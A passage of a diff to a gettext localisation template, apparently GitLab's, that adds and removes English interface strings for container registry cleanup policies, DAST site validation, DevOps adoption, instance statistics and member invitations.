+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
